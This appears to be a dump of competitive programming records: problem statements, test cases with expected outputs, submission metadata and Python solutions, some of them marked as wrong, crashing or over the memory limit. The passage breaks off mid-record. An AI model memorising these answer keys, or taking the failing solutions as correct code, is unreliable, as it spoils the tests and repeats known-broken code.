Title: none Time Limit: None seconds Memory Limit: None megabytes Problem Description: You are given an array *a*1,<=*a*2,<=...,<=*a**n* consisting of *n* integers, and an integer *k*. You have to split the array into exactly *k* non-empty subsegments. You'll then compute the minimum integer on each subsegment, and take the maximum integer over the *k* obtained minimums. What is the maximum possible integer you can get? Definitions of subsegment and array splitting are given in notes. Input Specification: The first line contains two integers *n* and *k* (1<=≤<=*k*<=≤<=*n*<=≤<=<=105) — the size of the array *a* and the number of subsegments you have to split the array to. The second line contains *n* integers *a*1,<=<=*a*2,<=<=...,<=<=*a**n* (<=-<=109<=<=≤<=<=*a**i*<=≤<=<=109). Output Specification: Print single integer — the maximum possible integer you can get if you split the array into *k* non-empty subsegments and take maximum of minimums on the subsegments. Demo Input: ['5 2\n1 2 3 4 5\n', '5 1\n-4 -5 -3 -2 -1\n'] Demo Output: ['5\n', '-5\n'] Note: A subsegment [*l*,  *r*] (*l* ≤ *r*) of array *a* is the sequence *a*<sub class="lower-index">*l*</sub>,  *a*<sub class="lower-index">*l* + 1</sub>,  ...,  *a*<sub class="lower-index">*r*</sub>. Splitting of array *a* of *n* elements into *k* subsegments [*l*<sub class="lower-index">1</sub>, *r*<sub class="lower-index">1</sub>], [*l*<sub class="lower-index">2</sub>, *r*<sub class="lower-index">2</sub>], ..., [*l*<sub class="lower-index">*k*</sub>, *r*<sub class="lower-index">*k*</sub>] (*l*<sub class="lower-index">1</sub> = 1, *r*<sub class="lower-index">*k*</sub> = *n*, *l*<sub class="lower-index">*i*</sub> = *r*<sub class="lower-index">*i* - 1</sub> + 1 for all *i* &gt; 1) is *k* sequences (*a*<sub class="lower-index">*l*<sub class="lower-index">1</sub></sub>, ..., *a*<sub class="lower-index">*r*<sub class="lower-index">1</sub></sub>), ..., (*a*<sub class="lower-index">*l*<sub class="lower-index">*k*</sub></sub>, ..., *a*<sub class="lower-index">*r*<sub class="lower-index">*k*</sub></sub>). In the first example you should split the array into subsegments [1, 4] and [5, 5] that results in sequences (1, 2, 3, 4) and (5). The minimums are *min*(1, 2, 3, 4) = 1 and *min*(5) = 5. The resulting maximum is *max*(1, 5) = 5. It is obvious that you can't reach greater result. In the second example the only option you have is to split the array into one subsegment [1, 5], that results in one sequence ( - 4,  - 5,  - 3,  - 2,  - 1). The only minimum is *min*( - 4,  - 5,  - 3,  - 2,  - 1) =  - 5. The resulting maximum is  - 5.
```python n, k = map(int, input().split()) a = list(map(int, input().split())) if k >= 3: print(max(a)) elif k == 2: h = float('-inf') for j in range(1, len(a)): h = max(h, max(min(a[:j]), min(a[j:]))) print(h) elif k == 1: print(min(a)) ```
-1
581
A
Vasya the Hipster
PROGRAMMING
800
[ "implementation", "math" ]
null
null
One day Vasya the Hipster decided to count how many socks he had. It turned out that he had *a* red socks and *b* blue socks. According to the latest fashion, hipsters should wear the socks of different colors: a red one on the left foot, a blue one on the right foot. Every day Vasya puts on new socks in the morning and throws them away before going to bed as he doesn't want to wash them. Vasya wonders, what is the maximum number of days when he can dress fashionable and wear different socks, and after that, for how many days he can then wear the same socks until he either runs out of socks or cannot make a single pair from the socks he's got. Can you help him?
The single line of the input contains two positive integers *a* and *b* (1<=≤<=*a*,<=*b*<=≤<=100) — the number of red and blue socks that Vasya's got.
Print two space-separated integers — the maximum number of days when Vasya can wear different socks and the number of days when he can wear the same socks until he either runs out of socks or cannot make a single pair from the socks he's got. Keep in mind that at the end of the day Vasya throws away the socks that he's been wearing on that day.
[ "3 1\n", "2 3\n", "7 3\n" ]
[ "1 1\n", "2 0\n", "3 2\n" ]
In the first sample Vasya can first put on one pair of different socks, after that he has two red socks left to wear on the second day.
500
[ { "input": "3 1", "output": "1 1" }, { "input": "2 3", "output": "2 0" }, { "input": "7 3", "output": "3 2" }, { "input": "100 100", "output": "100 0" }, { "input": "4 10", "output": "4 3" }, { "input": "6 10", "output": "6 2" }, { "input": "6 11", "output": "6 2" }, { "input": "10 40", "output": "10 15" }, { "input": "11 56", "output": "11 22" }, { "input": "34 30", "output": "30 2" }, { "input": "33 33", "output": "33 0" }, { "input": "100 45", "output": "45 27" }, { "input": "100 23", "output": "23 38" }, { "input": "45 12", "output": "12 16" }, { "input": "1 1", "output": "1 0" }, { "input": "1 100", "output": "1 49" }, { "input": "100 1", "output": "1 49" }, { "input": "68 59", "output": "59 4" }, { "input": "45 99", "output": "45 27" }, { "input": "99 100", "output": "99 0" }, { "input": "100 98", "output": "98 1" }, { "input": "59 12", "output": "12 23" }, { "input": "86 4", "output": "4 41" }, { "input": "68 21", "output": "21 23" }, { "input": "100 11", "output": "11 44" }, { "input": "100 10", "output": "10 45" }, { "input": "15 45", "output": "15 15" }, { "input": "11 32", "output": "11 10" }, { "input": "34 96", "output": "34 31" }, { "input": "89 89", "output": "89 0" } ]
1,684,664,768
2,147,483,647
Python 3
OK
TESTS
30
46
0
r,b=map(int,input().split()) print(min(r,b),(max(r,b)-min(r,b))//2)
Title: Vasya the Hipster Time Limit: None seconds Memory Limit: None megabytes Problem Description: One day Vasya the Hipster decided to count how many socks he had. It turned out that he had *a* red socks and *b* blue socks. According to the latest fashion, hipsters should wear the socks of different colors: a red one on the left foot, a blue one on the right foot. Every day Vasya puts on new socks in the morning and throws them away before going to bed as he doesn't want to wash them. Vasya wonders, what is the maximum number of days when he can dress fashionable and wear different socks, and after that, for how many days he can then wear the same socks until he either runs out of socks or cannot make a single pair from the socks he's got. Can you help him? Input Specification: The single line of the input contains two positive integers *a* and *b* (1<=≤<=*a*,<=*b*<=≤<=100) — the number of red and blue socks that Vasya's got. Output Specification: Print two space-separated integers — the maximum number of days when Vasya can wear different socks and the number of days when he can wear the same socks until he either runs out of socks or cannot make a single pair from the socks he's got. Keep in mind that at the end of the day Vasya throws away the socks that he's been wearing on that day. Demo Input: ['3 1\n', '2 3\n', '7 3\n'] Demo Output: ['1 1\n', '2 0\n', '3 2\n'] Note: In the first sample Vasya can first put on one pair of different socks, after that he has two red socks left to wear on the second day.
```python r,b=map(int,input().split()) print(min(r,b),(max(r,b)-min(r,b))//2) ```
3
230
B
T-primes
PROGRAMMING
1,300
[ "binary search", "implementation", "math", "number theory" ]
null
null
We know that prime numbers are positive integers that have exactly two distinct positive divisors. Similarly, we'll call a positive integer *t* Т-prime, if *t* has exactly three distinct positive divisors. You are given an array of *n* positive integers. For each of them determine whether it is Т-prime or not.
The first line contains a single positive integer, *n* (1<=≤<=*n*<=≤<=105), showing how many numbers are in the array. The next line contains *n* space-separated integers *x**i* (1<=≤<=*x**i*<=≤<=1012). Please, do not use the %lld specifier to read or write 64-bit integers in С++. It is advised to use the cin, cout streams or the %I64d specifier.
Print *n* lines: the *i*-th line should contain "YES" (without the quotes), if number *x**i* is Т-prime, and "NO" (without the quotes), if it isn't.
[ "3\n4 5 6\n" ]
[ "YES\nNO\nNO\n" ]
The given test has three numbers. The first number 4 has exactly three divisors — 1, 2 and 4, thus the answer for this number is "YES". The second number 5 has two divisors (1 and 5), and the third number 6 has four divisors (1, 2, 3, 6), hence the answer for them is "NO".
500
[ { "input": "3\n4 5 6", "output": "YES\nNO\nNO" }, { "input": "2\n48 49", "output": "NO\nYES" }, { "input": "10\n10 9 8 7 6 5 4 3 2 1", "output": "NO\nYES\nNO\nNO\nNO\nNO\nYES\nNO\nNO\nNO" }, { "input": "1\n36", "output": "NO" }, { "input": "1\n999966000289", "output": "YES" }, { "input": "1\n999993399999", "output": "NO" }, { "input": "9\n111 121 131 111 121 131 111 121 131", "output": "NO\nYES\nNO\nNO\nYES\nNO\nNO\nYES\nNO" }, { "input": "1\n1", "output": "NO" }, { "input": "1\n10", "output": "NO" }, { "input": "1\n976197352729", "output": "NO" }, { "input": "1\n1000000000000", "output": "NO" }, { "input": "1\n9", "output": "YES" }, { "input": "6\n549755813888 847288609443 762939453125 678223072849 285311670611 137858491849", "output": "NO\nNO\nNO\nNO\nNO\nNO" }, { "input": "3\n223092870 6469693230 200560490130", "output": "NO\nNO\nNO" }, { "input": "2\n81 25", "output": "NO\nYES" }, { "input": "1\n16", "output": "NO" }, { "input": "22\n1 2 3 4 5 6 7 8 9 10 12752041 64 121 144 27550356289 124 24657 23756 135153365 25235235235 42351351 81", "output": "NO\nNO\nNO\nYES\nNO\nNO\nNO\nNO\nYES\nNO\nYES\nNO\nYES\nNO\nYES\nNO\nNO\nNO\nNO\nNO\nNO\nNO" }, { "input": "1\n225", "output": "NO" }, { "input": "1\n1521", "output": "NO" }, { "input": "1\n81", "output": "NO" } ]
1,696,888,468
2,147,483,647
PyPy 3-64
RUNTIME_ERROR
TESTS
0
122
2,867,200
#https://codeforces.com/problemset/problem/230/B import math import numpy as np if __name__=="__main__": n = int(input()) s = [int(x) for x in input().split(" ")] for x in s: t = 1 for i in range(1,math.ceil(math.sqrt(x))+1): if (x%i)==0: t+=1 if t==3: print("YES") else: print("NO")
Title: T-primes Time Limit: None seconds Memory Limit: None megabytes Problem Description: We know that prime numbers are positive integers that have exactly two distinct positive divisors. Similarly, we'll call a positive integer *t* Т-prime, if *t* has exactly three distinct positive divisors. You are given an array of *n* positive integers. For each of them determine whether it is Т-prime or not. Input Specification: The first line contains a single positive integer, *n* (1<=≤<=*n*<=≤<=105), showing how many numbers are in the array. The next line contains *n* space-separated integers *x**i* (1<=≤<=*x**i*<=≤<=1012). Please, do not use the %lld specifier to read or write 64-bit integers in С++. It is advised to use the cin, cout streams or the %I64d specifier. Output Specification: Print *n* lines: the *i*-th line should contain "YES" (without the quotes), if number *x**i* is Т-prime, and "NO" (without the quotes), if it isn't. Demo Input: ['3\n4 5 6\n'] Demo Output: ['YES\nNO\nNO\n'] Note: The given test has three numbers. The first number 4 has exactly three divisors — 1, 2 and 4, thus the answer for this number is "YES". The second number 5 has two divisors (1 and 5), and the third number 6 has four divisors (1, 2, 3, 6), hence the answer for them is "NO".
```python #https://codeforces.com/problemset/problem/230/B import math import numpy as np if __name__=="__main__": n = int(input()) s = [int(x) for x in input().split(" ")] for x in s: t = 1 for i in range(1,math.ceil(math.sqrt(x))+1): if (x%i)==0: t+=1 if t==3: print("YES") else: print("NO") ```
-1
577
A
Multiplication Table
PROGRAMMING
1,000
[ "implementation", "number theory" ]
null
null
Let's consider a table consisting of *n* rows and *n* columns. The cell located at the intersection of *i*-th row and *j*-th column contains number *i*<=×<=*j*. The rows and columns are numbered starting from 1. You are given a positive integer *x*. Your task is to count the number of cells in a table that contain number *x*.
The single line contains numbers *n* and *x* (1<=≤<=*n*<=≤<=105, 1<=≤<=*x*<=≤<=109) — the size of the table and the number that we are looking for in the table.
Print a single number: the number of times *x* occurs in the table.
[ "10 5\n", "6 12\n", "5 13\n" ]
[ "2\n", "4\n", "0\n" ]
A table for the second sample test is given below. The occurrences of number 12 are marked bold.
500
[ { "input": "10 5", "output": "2" }, { "input": "6 12", "output": "4" }, { "input": "5 13", "output": "0" }, { "input": "1 1", "output": "1" }, { "input": "2 1", "output": "1" }, { "input": "100000 1", "output": "1" }, { "input": "1 1000000000", "output": "0" }, { "input": "100000 1000000000", "output": "16" }, { "input": "100000 362880", "output": "154" }, { "input": "1 4", "output": "0" }, { "input": "9 12", "output": "4" }, { "input": "10 123", "output": "0" }, { "input": "9551 975275379", "output": "0" }, { "input": "17286 948615687", "output": "0" }, { "input": "58942 936593001", "output": "0" }, { "input": "50000 989460910", "output": "4" }, { "input": "22741 989460910", "output": "0" }, { "input": "22740 989460910", "output": "0" }, { "input": "100000 989460910", "output": "4" }, { "input": "100000 98280", "output": "128" }, { "input": "100000 997920", "output": "222" }, { "input": "100000 720720", "output": "226" }, { "input": "100000 2162160", "output": "282" }, { "input": "100000 4324320", "output": "320" }, { "input": "100000 8648640", "output": "348" }, { "input": "100000 183783600", "output": "438" }, { "input": "100000 551350800", "output": "392" }, { "input": "40000 551350800", "output": "150" }, { "input": "20000 400000000", "output": "1" }, { "input": "19999 400000000", "output": "0" }, { "input": "19999 399960001", "output": "1" }, { "input": "31621 999887641", "output": "1" }, { "input": "31622 999887641", "output": "1" }, { "input": "31620 999887641", "output": "0" }, { "input": "100000 999887641", "output": "3" }, { "input": "100000 25", "output": "3" }, { "input": "100000 1", "output": "1" }, { "input": "100000 3628800", "output": "220" }, { "input": "100000 39916800", "output": "328" }, { "input": "100000 479001600", "output": "254" }, { "input": "4 9", "output": "1" }, { "input": "2 6", "output": "0" }, { "input": "20 100", "output": "3" }, { "input": "10 3", "output": "2" }, { "input": "4 4", "output": "3" }, { "input": "2 4", "output": "1" }, { "input": "89874 1", "output": "1" } ]
1,686,060,494
2,147,483,647
Python 3
MEMORY_LIMIT_EXCEEDED
TESTS
5
1,029
268,390,400
import time start = time.time() a,b=map(int,input().split()) l=[] for i in range(1,a+1): for j in range(1,a+1): l.append(i*j) print(l.count(b) ) end = time.time()
Title: Multiplication Table Time Limit: None seconds Memory Limit: None megabytes Problem Description: Let's consider a table consisting of *n* rows and *n* columns. The cell located at the intersection of *i*-th row and *j*-th column contains number *i*<=×<=*j*. The rows and columns are numbered starting from 1. You are given a positive integer *x*. Your task is to count the number of cells in a table that contain number *x*. Input Specification: The single line contains numbers *n* and *x* (1<=≤<=*n*<=≤<=105, 1<=≤<=*x*<=≤<=109) — the size of the table and the number that we are looking for in the table. Output Specification: Print a single number: the number of times *x* occurs in the table. Demo Input: ['10 5\n', '6 12\n', '5 13\n'] Demo Output: ['2\n', '4\n', '0\n'] Note: A table for the second sample test is given below. The occurrences of number 12 are marked bold.
```python import time start = time.time() a,b=map(int,input().split()) l=[] for i in range(1,a+1): for j in range(1,a+1): l.append(i*j) print(l.count(b) ) end = time.time() ```
0
227
B
Effective Approach
PROGRAMMING
1,100
[ "implementation" ]
null
null
Once at a team training Vasya, Petya and Sasha got a problem on implementing linear search in an array. According to the boys, linear search works as follows. The array elements in a pre-selected order are in turn compared with the number that you need to find. Once you find the array element that is equal to the required one, the search ends. The efficiency of the algorithm is the number of performed comparisons. The fewer comparisons the linear search has made, the more effective it is. Vasya believes that a linear search would work better if it sequentially iterates through the elements, starting with the 1-st one (in this problem we consider the elements of the array indexed from 1 to *n*) and ending with the *n*-th one. And Petya says that Vasya is wrong: the search will need less comparisons if it sequentially iterates the elements starting from the *n*-th and ending with the 1-st one. Sasha argues that the two approaches are equivalent. To finally begin the task, the teammates decided to settle the debate and compare the two approaches on an example. For this, they took an array that is a permutation of integers from 1 to *n*, and generated *m* queries of the form: find element with value *b**i* in the array. They want to calculate for both approaches how many comparisons in total the linear search will need to respond to all queries. If the first search needs fewer comparisons, then the winner of the dispute is Vasya. If the second one does, then the winner is Petya. If both approaches make the same number of comparisons, then Sasha's got the upper hand. But the problem is, linear search is too slow. That's why the boys aren't going to find out who is right before the end of the training, unless you come in here. Help them to determine who will win the dispute.
The first line contains integer *n* (1<=≤<=*n*<=≤<=105) — the number of elements in the array. The second line contains *n* distinct space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=*n*) — the elements of array. The third line contains integer *m* (1<=≤<=*m*<=≤<=105) — the number of queries. The last line contains *m* space-separated integers *b*1,<=*b*2,<=...,<=*b**m* (1<=≤<=*b**i*<=≤<=*n*) — the search queries. Note that the queries can repeat.
Print two integers, showing how many comparisons Vasya's approach needs and how many comparisons Petya's approach needs. Separate the numbers by spaces. Please, do not use the %lld specifier to read or write 64-bit integers in С++. It is preferred to use cin, cout streams or the %I64d specifier.
[ "2\n1 2\n1\n1\n", "2\n2 1\n1\n1\n", "3\n3 1 2\n3\n1 2 3\n" ]
[ "1 2\n", "2 1\n", "6 6\n" ]
In the first sample Vasya's approach will make one comparison (it starts with the 1-st element and immediately finds the required number), and Petya's approach makes two comparisons (first he compares with the 2-nd array element, doesn't find the search item and compares with the 1-st element). In the second sample, on the contrary, Vasya's approach will need two comparisons (first with 1-st element, and then with the 2-nd), and Petya's approach will find the required value in one comparison (the first comparison with the 2-nd element).
1,000
[ { "input": "2\n1 2\n1\n1", "output": "1 2" }, { "input": "2\n2 1\n1\n1", "output": "2 1" }, { "input": "3\n3 1 2\n3\n1 2 3", "output": "6 6" }, { "input": "9\n2 9 3 1 6 4 7 8 5\n9\n5 1 5 2 8 4 4 4 5", "output": "58 32" }, { "input": "10\n3 10 9 2 7 6 5 8 4 1\n1\n4", "output": "9 2" }, { "input": "10\n5 2 10 8 3 1 9 7 6 4\n9\n2 5 9 2 3 2 5 9 8", "output": "31 68" }, { "input": "9\n3 8 4 7 1 2 5 6 9\n3\n2 7 1", "output": "15 15" }, { "input": "9\n5 3 8 4 2 6 1 7 9\n4\n6 1 9 2", "output": "27 13" }, { "input": "4\n1 3 2 4\n4\n3 1 2 3", "output": "8 12" }, { "input": "3\n1 2 3\n8\n3 2 1 1 2 3 1 2", "output": "15 17" } ]
1,687,204,921
2,147,483,647
PyPy 3-64
OK
TESTS
34
218
21,401,600
n = int(input()) a = list(map(int,input().split())) m = int(input()) b = list(map(int,input().split())) d = {} for i in range(n): d[a[i]] = i v = 0 p = 0 for i in range(m): z = d.get(b[i]) v += z+1 p += n-z print(v,p)
Title: Effective Approach Time Limit: None seconds Memory Limit: None megabytes Problem Description: Once at a team training Vasya, Petya and Sasha got a problem on implementing linear search in an array. According to the boys, linear search works as follows. The array elements in a pre-selected order are in turn compared with the number that you need to find. Once you find the array element that is equal to the required one, the search ends. The efficiency of the algorithm is the number of performed comparisons. The fewer comparisons the linear search has made, the more effective it is. Vasya believes that a linear search would work better if it sequentially iterates through the elements, starting with the 1-st one (in this problem we consider the elements of the array indexed from 1 to *n*) and ending with the *n*-th one. And Petya says that Vasya is wrong: the search will need less comparisons if it sequentially iterates the elements starting from the *n*-th and ending with the 1-st one. Sasha argues that the two approaches are equivalent. To finally begin the task, the teammates decided to settle the debate and compare the two approaches on an example. For this, they took an array that is a permutation of integers from 1 to *n*, and generated *m* queries of the form: find element with value *b**i* in the array. They want to calculate for both approaches how many comparisons in total the linear search will need to respond to all queries. If the first search needs fewer comparisons, then the winner of the dispute is Vasya. If the second one does, then the winner is Petya. If both approaches make the same number of comparisons, then Sasha's got the upper hand. But the problem is, linear search is too slow. That's why the boys aren't going to find out who is right before the end of the training, unless you come in here. Help them to determine who will win the dispute. Input Specification: The first line contains integer *n* (1<=≤<=*n*<=≤<=105) — the number of elements in the array. The second line contains *n* distinct space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=*n*) — the elements of array. The third line contains integer *m* (1<=≤<=*m*<=≤<=105) — the number of queries. The last line contains *m* space-separated integers *b*1,<=*b*2,<=...,<=*b**m* (1<=≤<=*b**i*<=≤<=*n*) — the search queries. Note that the queries can repeat. Output Specification: Print two integers, showing how many comparisons Vasya's approach needs and how many comparisons Petya's approach needs. Separate the numbers by spaces. Please, do not use the %lld specifier to read or write 64-bit integers in С++. It is preferred to use cin, cout streams or the %I64d specifier. Demo Input: ['2\n1 2\n1\n1\n', '2\n2 1\n1\n1\n', '3\n3 1 2\n3\n1 2 3\n'] Demo Output: ['1 2\n', '2 1\n', '6 6\n'] Note: In the first sample Vasya's approach will make one comparison (it starts with the 1-st element and immediately finds the required number), and Petya's approach makes two comparisons (first he compares with the 2-nd array element, doesn't find the search item and compares with the 1-st element). In the second sample, on the contrary, Vasya's approach will need two comparisons (first with 1-st element, and then with the 2-nd), and Petya's approach will find the required value in one comparison (the first comparison with the 2-nd element).
```python n = int(input()) a = list(map(int,input().split())) m = int(input()) b = list(map(int,input().split())) d = {} for i in range(n): d[a[i]] = i v = 0 p = 0 for i in range(m): z = d.get(b[i]) v += z+1 p += n-z print(v,p) ```
3
569
B
Inventory
PROGRAMMING
1,200
[ "greedy", "math" ]
null
null
Companies always have a lot of equipment, furniture and other things. All of them should be tracked. To do this, there is an inventory number assigned with each item. It is much easier to create a database by using those numbers and keep the track of everything. During an audit, you were surprised to find out that the items are not numbered sequentially, and some items even share the same inventory number! There is an urgent need to fix it. You have chosen to make the numbers of the items sequential, starting with 1. Changing a number is quite a time-consuming process, and you would like to make maximum use of the current numbering. You have been given information on current inventory numbers for *n* items in the company. Renumber items so that their inventory numbers form a permutation of numbers from 1 to *n* by changing the number of as few items as possible. Let us remind you that a set of *n* numbers forms a permutation if all the numbers are in the range from 1 to *n*, and no two numbers are equal.
The first line contains a single integer *n* — the number of items (1<=≤<=*n*<=≤<=105). The second line contains *n* numbers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=105) — the initial inventory numbers of the items.
Print *n* numbers — the final inventory numbers of the items in the order they occur in the input. If there are multiple possible answers, you may print any of them.
[ "3\n1 3 2\n", "4\n2 2 3 3\n", "1\n2\n" ]
[ "1 3 2 \n", "2 1 3 4 \n", "1 \n" ]
In the first test the numeration is already a permutation, so there is no need to change anything. In the second test there are two pairs of equal numbers, in each pair you need to replace one number. In the third test you need to replace 2 by 1, as the numbering should start from one.
1,000
[ { "input": "3\n1 3 2", "output": "1 3 2 " }, { "input": "4\n2 2 3 3", "output": "2 1 3 4 " }, { "input": "1\n2", "output": "1 " }, { "input": "3\n3 3 1", "output": "3 2 1 " }, { "input": "5\n1 1 1 1 1", "output": "1 2 3 4 5 " }, { "input": "5\n5 3 4 4 2", "output": "5 3 4 1 2 " }, { "input": "5\n19 11 8 8 10", "output": "1 2 3 4 5 " }, { "input": "15\n2 2 1 2 1 2 3 3 1 3 2 1 2 3 2", "output": "2 4 1 5 6 7 3 8 9 10 11 12 13 14 15 " }, { "input": "18\n3 11 5 9 5 4 6 4 5 7 5 1 8 11 11 2 1 9", "output": "3 11 5 9 10 4 6 12 13 7 14 1 8 15 16 2 17 18 " }, { "input": "42\n999 863 440 1036 1186 908 330 265 382 417 858 286 834 922 42 569 79 158 312 1175 1069 188 21 1207 985 375 59 417 256 595 732 742 629 737 25 699 484 517 37 1134 472 720", "output": "1 2 3 4 5 6 7 8 9 10 11 12 13 14 42 15 16 17 18 19 20 22 21 23 24 26 27 28 29 30 31 32 33 34 25 35 36 38 37 39 40 41 " }, { "input": "111\n15 45 14 65 49 25 102 86 14 80 54 73 43 78 42 32 47 60 55 66 84 69 49 22 26 72 89 52 26 80 71 35 56 2 88 23 23 53 65 92 46 73 29 65 88 99 19 99 87 10 47 96 109 20 60 89 63 105 29 92 109 20 95 65 31 89 107 3 3 50 58 9 28 39 104 42 41 36 70 49 59 96 16 9 3 108 38 42 2 67 32 86 20 6 101 70 101 91 38 10 74 3 27 15 103 63 51 60 62 10 70", "output": "15 45 14 65 49 25 102 86 1 80 54 73 43 78 42 32 47 60 55 66 84 69 4 22 26 72 89 52 5 7 71 35 56 2 88 23 8 53 11 92 46 12 29 13 17 99 19 18 87 10 21 96 109 20 24 30 63 105 33 34 37 40 95 44 31 48 107 3 57 50 58 9 28 39 104 61 41 36 70 64 59 68 16 75 76 108 38 77 79 67 81 82 83 6 101 85 90 91 93 94 74 97 27 98 103 100 51 106 62 110 111 " }, { "input": "7\n45301 14370 61599 42695 46301 24556 26812", "output": "1 2 3 4 5 6 7 " }, { "input": "22\n70150 17718 11731 6488 72633 41249 12141 71465 88562 6167 71659 34151 60508 24942 77343 35882 80424 67225 92746 55412 79 53642", "output": "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 " }, { "input": "2\n1 4", "output": "1 2 " } ]
1,623,891,821
2,147,483,647
PyPy 3
WRONG_ANSWER
TESTS
3
77
0
n = int(input()) A = list(map(int,input().split())) E = [] for i in range(n): E.append(i+1) E = set(E) P = [] for i in range(n): if A[i] in E: P.append(A[i]) E = E - {A[i]} else: T = min(E) P.append(T) E = E - {T} print(*P)
Title: Inventory Time Limit: None seconds Memory Limit: None megabytes Problem Description: Companies always have a lot of equipment, furniture and other things. All of them should be tracked. To do this, there is an inventory number assigned with each item. It is much easier to create a database by using those numbers and keep the track of everything. During an audit, you were surprised to find out that the items are not numbered sequentially, and some items even share the same inventory number! There is an urgent need to fix it. You have chosen to make the numbers of the items sequential, starting with 1. Changing a number is quite a time-consuming process, and you would like to make maximum use of the current numbering. You have been given information on current inventory numbers for *n* items in the company. Renumber items so that their inventory numbers form a permutation of numbers from 1 to *n* by changing the number of as few items as possible. Let us remind you that a set of *n* numbers forms a permutation if all the numbers are in the range from 1 to *n*, and no two numbers are equal. Input Specification: The first line contains a single integer *n* — the number of items (1<=≤<=*n*<=≤<=105). The second line contains *n* numbers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=105) — the initial inventory numbers of the items. Output Specification: Print *n* numbers — the final inventory numbers of the items in the order they occur in the input. If there are multiple possible answers, you may print any of them. Demo Input: ['3\n1 3 2\n', '4\n2 2 3 3\n', '1\n2\n'] Demo Output: ['1 3 2 \n', '2 1 3 4 \n', '1 \n'] Note: In the first test the numeration is already a permutation, so there is no need to change anything. In the second test there are two pairs of equal numbers, in each pair you need to replace one number. In the third test you need to replace 2 by 1, as the numbering should start from one.
```python n = int(input()) A = list(map(int,input().split())) E = [] for i in range(n): E.append(i+1) E = set(E) P = [] for i in range(n): if A[i] in E: P.append(A[i]) E = E - {A[i]} else: T = min(E) P.append(T) E = E - {T} print(*P) ```
0
58
A
Chat room
PROGRAMMING
1,000
[ "greedy", "strings" ]
A. Chat room
1
256
Vasya has recently learned to type and log on to the Internet. He immediately entered a chat room and decided to say hello to everybody. Vasya typed the word *s*. It is considered that Vasya managed to say hello if several letters can be deleted from the typed word so that it resulted in the word "hello". For example, if Vasya types the word "ahhellllloou", it will be considered that he said hello, and if he types "hlelo", it will be considered that Vasya got misunderstood and he didn't manage to say hello. Determine whether Vasya managed to say hello by the given word *s*.
The first and only line contains the word *s*, which Vasya typed. This word consisits of small Latin letters, its length is no less that 1 and no more than 100 letters.
If Vasya managed to say hello, print "YES", otherwise print "NO".
[ "ahhellllloou\n", "hlelo\n" ]
[ "YES\n", "NO\n" ]
none
500
[ { "input": "ahhellllloou", "output": "YES" }, { "input": "hlelo", "output": "NO" }, { "input": "helhcludoo", "output": "YES" }, { "input": "hehwelloho", "output": "YES" }, { "input": "pnnepelqomhhheollvlo", "output": "YES" }, { "input": "tymbzjyqhymedasloqbq", "output": "NO" }, { "input": "yehluhlkwo", "output": "NO" }, { "input": "hatlevhhalrohairnolsvocafgueelrqmlqlleello", "output": "YES" }, { "input": "hhhtehdbllnhwmbyhvelqqyoulretpbfokflhlhreeflxeftelziclrwllrpflflbdtotvlqgoaoqldlroovbfsq", "output": "YES" }, { "input": "rzlvihhghnelqtwlexmvdjjrliqllolhyewgozkuovaiezgcilelqapuoeglnwmnlftxxiigzczlouooi", "output": "YES" }, { "input": "pfhhwctyqdlkrwhebfqfelhyebwllhemtrmeblgrynmvyhioesqklclocxmlffuormljszllpoo", "output": "YES" }, { "input": "lqllcolohwflhfhlnaow", "output": "NO" }, { "input": "heheeellollvoo", "output": "YES" }, { "input": "hellooo", "output": "YES" }, { "input": "o", "output": "NO" }, { "input": "hhqhzeclohlehljlhtesllylrolmomvuhcxsobtsckogdv", "output": "YES" }, { "input": "yoegfuzhqsihygnhpnukluutocvvwuldiighpogsifealtgkfzqbwtmgghmythcxflebrkctlldlkzlagovwlstsghbouk", "output": "YES" }, { "input": "uatqtgbvrnywfacwursctpagasnhydvmlinrcnqrry", "output": "NO" }, { "input": "tndtbldbllnrwmbyhvqaqqyoudrstpbfokfoclnraefuxtftmgzicorwisrpfnfpbdtatvwqgyalqtdtrjqvbfsq", "output": "NO" }, { "input": "rzlvirhgemelnzdawzpaoqtxmqucnahvqnwldklrmjiiyageraijfivigvozgwngiulttxxgzczptusoi", "output": "YES" }, { "input": "kgyelmchocojsnaqdsyeqgnllytbqietpdlgknwwumqkxrexgdcnwoldicwzwofpmuesjuxzrasscvyuqwspm", "output": "YES" }, { "input": "pnyvrcotjvgynbeldnxieghfltmexttuxzyac", "output": "NO" }, { "input": "dtwhbqoumejligbenxvzhjlhosqojetcqsynlzyhfaevbdpekgbtjrbhlltbceobcok", "output": "YES" }, { "input": "crrfpfftjwhhikwzeedrlwzblckkteseofjuxjrktcjfsylmlsvogvrcxbxtffujqshslemnixoeezivksouefeqlhhokwbqjz", "output": "YES" }, { "input": "jhfbndhyzdvhbvhmhmefqllujdflwdpjbehedlsqfdsqlyelwjtyloxwsvasrbqosblzbowlqjmyeilcvotdlaouxhdpoeloaovb", "output": "YES" }, { "input": "hwlghueoemiqtjhhpashjsouyegdlvoyzeunlroypoprnhlyiwiuxrghekaylndhrhllllwhbebezoglydcvykllotrlaqtvmlla", "output": "YES" }, { "input": "wshiaunnqnqxodholbipwhhjmyeblhgpeleblklpzwhdunmpqkbuzloetmwwxmeltkrcomulxauzlwmlklldjodozxryghsnwgcz", "output": "YES" }, { "input": "shvksednttggehroewuiptvvxtrzgidravtnjwuqrlnnkxbplctzkckinpkgjopjfoxdbojtcvsuvablcbkrzajrlhgobkcxeqti", "output": "YES" }, { "input": "hyyhddqhxhekehkwfhlnlsihzefwchzerevcjtokefplholrbvxlltdlafjxrfhleglrvlolojoqaolagtbeyogxlbgfolllslli", "output": "YES" }, { "input": "iaagrdhhelxpdegueiulflquvlzidoprzkehthkldaytrjwhyhprwjxlltinxvuilxohqgjqcvkkdcuoliekcnlilwgqlnlzouoo", "output": "YES" }, { "input": "wfluaeseldgxyvxpwuhkptdmlflnlhktwxiabsvkolsquymrmhzczzoybvlilhmvsuunggvgxzgyyffk", "output": "NO" }, { "input": "loee", "output": "NO" }, { "input": "izdipwylefqmjbuoznfglgcfvedeouflkeehxbasaqmiooppfsqlhprospqgxvzrcpwlfdddngoqvpwvggsnvvxhmjoslwjudjlo", "output": "NO" }, { "input": 